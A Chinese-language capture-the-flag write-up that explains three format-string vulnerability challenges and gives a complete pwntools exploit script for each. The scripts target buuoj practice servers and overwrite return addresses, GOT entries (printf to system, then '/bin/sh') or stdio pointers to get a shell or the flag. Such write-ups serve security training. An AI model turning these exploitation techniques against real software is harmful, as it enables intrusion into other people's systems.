xman_2019_format(字符串位於堆上)
一道格式化字符串題目,但是隻有一次輸入機會,但是有多次利用機會,每次利用使用‘|’隔開
我們先看一下棧的情況
經過多次調試,可以發現返回地址最低一個16進制位一定爲0xC,我們只需要爆破倒數第二個16進制位就能得到指向返回地址的棧上地址
Exp:
from pwn import *
#r = remote("node3.buuoj.cn", 25958)
#r = process("./xman_2019_format")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x080485F6
b *0x08048606
c
''')
context(arch = 'amd64', os= 'linux')
elf = ELF("./xman_2019_format")
libc = ELF("./libc/libc-2.23.so")
backdoor = 0x080485AB
def pwn():
r.recvuntil("...\n") #%10$hhn 18$
#payload = '%10$p:%18$p'
#0x5c = 92 0x85ab=34219
payload = '%92c%10$hhn|%34219c%18$hn'
r.sendline(payload)
sleep(2)
r.sendline('ls')
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 25958)
try:
pwn()
except:
r.close()
hitcontraining_playfmt(字符串位於bss)
一個循環的格式化字符串漏洞
利用過程和SWPUCTF_2019_login一樣,具體原理看那篇文章即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 25517)
#r = process("./hitcontraining_playfmt")
elf = ELF("./hitcontraining_playfmt")
libc = ELF('./libc/libc-2.23_32.so')
printf_got = 0x0804A010
old_addr = 0x0804B080
# printf:0xf7d7b2d0 system:0xf7d67200
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x0804854F
c
''')
r.recvuntil("=====================\n")
r.recvuntil("=====================\n") #6 rbp 9 GOT 10 6->10
payload = "%6$p\n%15$p"
r.sendline(payload)
rbp = int(r.recvuntil('\n').strip(), 16)
success("rbp:"+hex(rbp))
start_main = int(r.recvuntil('\n').strip(), 16) - 247
libc.address = start_main - libc.sym['__libc_start_main']
system = libc.sym['system']
success("libc:"+hex(libc.address))
raw_input()
got_addr = rbp - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)
raw_input()
num = printf_got & 0xFF
payload = '%' + str(num) + 'c%10$hhn'
r.sendline(payload)
raw_input()
got_addr = rbp - 8 - 4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn'
r.sendline(payload)
raw_input()
num = (printf_got+2) & 0xFFFF
payload = '%' + str(num) + 'c%10$hn'
r.sendline(payload)
raw_input()
num1 = system&0xFFFF
num2 = (system>>16)-num1
print hex(num1), ',', hex(num2)
payload ='%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%7$hn'
r.sendline(payload)
raw_input()
payload = "/bin/sh"
r.sendline(payload)
r.interactive()
wustctf2020_babyfmt
一道特別的格式化字符串漏洞題目
功能分別是leak,格式化字符串漏洞,輸出flag
leak功能是輸入一個地址,輸出一個字節的數據,只有一次
但是這題有一個很坑爹的地方,就是這個一個字節的數據不會立即輸出····
當然本題也可能不需要泄露
get_flag需要輸入一串字符,和secret比較,相同才能輸出flag,但是輸出flag之前會先把stdout關了
程序還會詢問一個時間,而這個函數正是泄露elf_base的關鍵函數
漏洞利用:
- 在詢問時間時,發送字母過去,因爲不符合%ld,因此棧不會被修改,輸出時就能把棧上的信息泄露出來,而v2就是elf_base+0xbd5的地址
- 利用leak泄露出stderr的倒數第二byte的值,這樣就不用爆破了(這是官方WP的做法,但是我這裏調試不通,因爲這一個byte不能立即輸出,所以這步可以跳過)
- 利用格式化字符串漏洞把secret地址處寫入0,這樣strcmp就能成功,然後把bss上面的stdout處存放的地址改爲stderr的,這樣flag才能輸出
原理如下圖:
因爲printf會需要stdout的指針,這個指針保存在bss上,而雖然stdout被關閉,stderr卻可以用,我們把stdout處的指針改爲stderr的,就能輸出flag了
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 27225)
#r = process("./wustctf2020_babyfmt")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xFEA)
b *$rebase(0xECC)
x/10gx $rebase(0x202020)
c
''')
#pause()
elf = ELF("./wustctf2020_babyfmt")
libc = ELF('./libc/libc-2.23.so')
menu = ">>"
def leak(addr):
r.recvuntil(menu)
r.sendline('1')
#sleep(1)
raw_input()
r.send(addr)
def fmt(s):
r.recvuntil(menu)
r.sendline('2')
#sleep(1)
raw_input()
r.send(s)
def flag():
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("tell me the time:")
r.sendline('a')
r.sendline('a')
r.sendline('a')
r.recvuntil("ok! time is ")
num1 = int(r.recvuntil(':')[:-1])
elf_base = int(r.recvuntil(':')[:-1]) - 0xBD5
num3 = int(r.recvuntil('\n').strip())
success("num1:"+hex(num1))
success("elf:"+hex(elf_base))
success("num3:"+hex(num3))
#stdout:0x00007f9770e5d620 stderr:0x00007f9770e5d540
secret = 0x202060 + elf_base
stderr = 0x202040 + elf_base
stdout = 0x202020 + elf_base
leak(p64(stderr+1))
#leak_num = (ord(r.recv(1))<<8) + 0x40 #這個是官方WP的做法
leak_num = (ord('\xe5')<<8) + 0x40
#%8$
payload = '%11$hn%' + str(leak_num) + 'c%12$hn'
payload = payload.ljust(24, 'a') + p64(secret) + p64(stdout)
fmt(payload)
flag()
r.send('\x00'*0x40)
r.interactive()